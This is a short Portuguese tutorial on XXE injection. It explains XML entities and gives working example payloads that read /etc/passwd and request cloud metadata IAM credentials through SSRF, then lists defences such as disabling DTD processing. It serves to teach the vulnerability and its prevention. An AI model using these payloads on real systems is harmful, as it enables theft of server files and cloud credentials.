XXE (XML External Entity)
O que é XML?
-
XML (Extensible Markup Language): Uma linguagem de marcação projetada para armazenar e transportar dados.
-
Possui uma estrutura de árvore hierárquica e utiliza tags definidas pelo usuário (semelhante ao HTML).
DTD (Document Type Definition)
-
O DTD define a estrutura e os elementos permitidos em um documento XML.
-
Ele é declarado no início do arquivo XML, dentro da tag
<!DOCTYPE>.
XML Entities
-
São “variáveis” que podem ser definidas dentro do DTD para serem reutilizadas no documento.
-
Exemplo de Entidade Interna:
<!ENTITY myentity "valor"> -
Exemplo de Entidade Externa:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
A Vulnerabilidade XXE
A injeção de entidade externa XML (XXE) ocorre quando uma aplicação web processa um input XML que contém uma referência a uma entidade externa, e essa entidade é processada de forma insegura pelo parser de XML do servidor.
Impactos e Exploração
1. Recuperação de Arquivos (File Retrieval)
O atacante define uma entidade externa que aponta para um arquivo sensível no sistema de arquivos do servidor.
- Payload de exemplo:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>2. SSRF via XXE
O atacante utiliza a entidade externa para forçar o servidor a fazer uma requisição HTTP para um sistema interno ou externo.
- Payload de exemplo:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>3. Exfiltração de Dados Out-of-Band (OAST)
Utilizado quando a aplicação não retorna o valor da entidade injetada diretamente na resposta. O atacante faz o servidor enviar os dados para um servidor externo sob seu controle.
Como Prevenir
-
Desativar DTDs: A forma mais segura é configurar o parser de XML para desabilitar completamente o processamento de DTDs (Document Type Definitions) e entidades externas.
-
Usar Formatos Menos Complexos: Sempre que possível, substituir o uso de XML por formatos de dados mais simples e menos propensos a esse tipo de ataque, como o JSON.
-
Atualizar Bibliotecas: Garantir que as bibliotecas de processamento de XML estejam atualizadas, pois muitas versões modernas já vêm com proteções contra XXE ativadas por padrão.